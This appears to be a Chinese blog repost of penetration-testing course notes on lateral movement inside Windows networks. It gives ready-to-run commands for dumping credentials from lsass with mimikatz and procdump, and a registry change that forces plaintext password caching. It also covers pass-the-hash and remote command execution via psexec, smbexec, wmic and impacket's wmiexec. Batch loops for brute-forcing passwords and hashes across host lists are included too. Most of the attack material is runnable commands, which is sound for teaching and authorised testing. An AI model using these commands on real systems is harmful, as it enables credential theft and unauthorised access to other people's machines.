zoukankan      html  css  js  c++  java
  • 内网渗透——PTH,SMB及WMI横向移动

    PTH,SMB及WMI横向移动
    利用NTLM、Kerberos及SMB等协议。
    攻击者进入内网后会进行横向移动建立多个立足点,常见的技巧包括凭证窃取、横向移动、Pass The Hash(hash传递)、导出域成员Hash、黄金白银票据、MS14-068,MS17-010等。其中本次课程将围绕NTLM,SMB协议相关攻击进行讲解,涉及明文 及Hash在获取后的相关测试思路。

    知识普及:
    135端口:
    RPC 远程过程调用服务。WMIC用到这个端口,winsows management instrumentation
    检测:
    nmap ip
    telnet ip 135
    wmic /node:ip /user:用户名 /password:密码 PROCESS call create "calc.exe" //打开一个计算器
    wmic /node:192.168.33.141 /user:administrator /password:wang PROCESS call create "calc.exe"
    445端口:共享文件夹,共享打印机


    Hash获取

    #mimikatz //主要使用
    mimikatz.exe上执行:
    privilege::debug
    sekurlsa::logonpasswords full
    有个NTLM值
    LM:2008之前用的密码传递方式
    NTLM:2008之后采用的密码传递方式,里面的值就是哈希值

    当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。
    reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

    #procdump //不太强大,唯一的好处就是免杀的,微软官方的产品
    procdump.exe -accepteula -ma lsass.exe lsass.dmp //导出名字为lsass.dup
    mimikatz.exe上执行(还原哈希凭据):
    sekurlsa::minidump lsass.dmp //导出
    sekurlsa::logonPasswords full //还原

    Hash解密
    Hashcat
    第三方解密平台


    PTH传递(不太推荐)
    弹出一个窗口
    #适用范围:
    域/工作组环境
    内网中存在和当前机器相同的密码
    mimikatz.exe上执行:
    privilege::debug
    sekurlsa::pth /user:administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7
    可以远程访问
    #测试net use \192.168.3.21c$
    dir \OWA2010CN-God.god.orgc$


    横向渗透SMB 445端口 (有点难度)
    #利用SMB服务需要先建立IPC,可以通过hash传递来远程执行,默认回来System权限,需要目标防火墙开启445并允许通过。

    #在psexec中由于其利用条件和监控严格后,逐渐开始使用WMI进行攻击。WMI可以描述为管理Windows系统的方法和功能。我们可以把它当作API来与Win系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装,WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。
    https://www.cnblogs.com/sup3rman/p/12381874.html

    #psexec 需要先有ipc链接 明文或hash传递(所以不太推荐)
    PS-tool里面有
    psexec \192.168.3.21 cmd # 需要先有ipc链接
    psexec \192.168.3.21 -u administrator -p password cmd 
    # 直接提供明文账户密码,可以不用建立IPC
    psexec \192.168.3.21 -u administrator -p password -s cmd 
    # -s 指定以System权限运行
    psexec.exe -hashes :$HASH$ ./administrator@10.1.2.3
    psexec -hashes :$HASH$ domain/administrator@10.1.2.3
    psexec -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21

    #smbexec 无需先ipc链接 明文或hash传递 exe版本,下面有下载连接
    smbexec ./admin:password@192.168.3.21 //普通用户密码连接
    smbexec domain/admin:password@192.168.3.21 //域密码连接
    smbexec -hashes :$HASH$ ./admin@192.168.3.21
    smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
    smbexec -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 //哈希连接
    在内网中,知道明文密文都可以通过这种连接


    横向渗透WMI(推荐)
    #自带WMIC 明文传递 无回显
    wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:1.txt"
    写入命令到192.168.3.21

    #自带cscript明文传递 有回显 //需要下载个wmiexec.vbs
    cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

    #套件impacket wmiexec 明文或hash传递 有回显
    #py版本
    #exe版本
    wmiexec ./administrator:Admin12345@192.168.3.21 "whoami"
    wmiexec -hashes :$HASH$ ./admin@192.168.3.21 "whoami"
    wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"


    #批量测试内网主机用户密码

    FOR /F %%i in (ips.txt) do wmiexec.exe -hashes :HASH ./administrator@%%i  whoami 
    #利用hash验证主机列表ips.txt
    atexec.exe换成wmiexec.exe

    FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.76  whoami 
    #指定主机进行用户hash列表(hashes.txt)爆破

    FOR /F %%i in (passwords.txt) do atexec.exe  ./administrator:%%i@192.168.3.76  whoami 
    #指定主机进行明文密码列表(passwords.txt)爆破

    FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i  whoami  
    # 利用明文密码验证主机列表ips.txt

    推荐手写,可以提高自己技术
    k8scan 国产的 改名了k8 ladon
    https://github.com/k8gege/Ladon

    涉及资源:
    https://github.com/hashcat/hashcat
    https://github.com/gentilkiwi/mimikatz/releases
    https://github.com/SecureAuthCorp/impacket
    https://gitee.com/RichChigga/impacket-examples-windows
    https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

  • 相关阅读:
    【转】修改mysql数据库的用户名和密码
    oracle 11g密码过期问题解决方法
    配置网络YUM源
    RedHat 7.0更新升级openSSH7.4p1
    Linux下端口被占用解决
    js function 中的返回值
    代码笔记1
    element模态框dialog中的select组件中选中无反应无显示
    vue如何使用rules对表单字段进行校验
    关于JSON.parse(JSON.stringify(obj))实现深拷贝应该注意的坑
  • 原文地址:https://www.cnblogs.com/trevain/p/13700346.html
Copyright © 2011-2022 走看看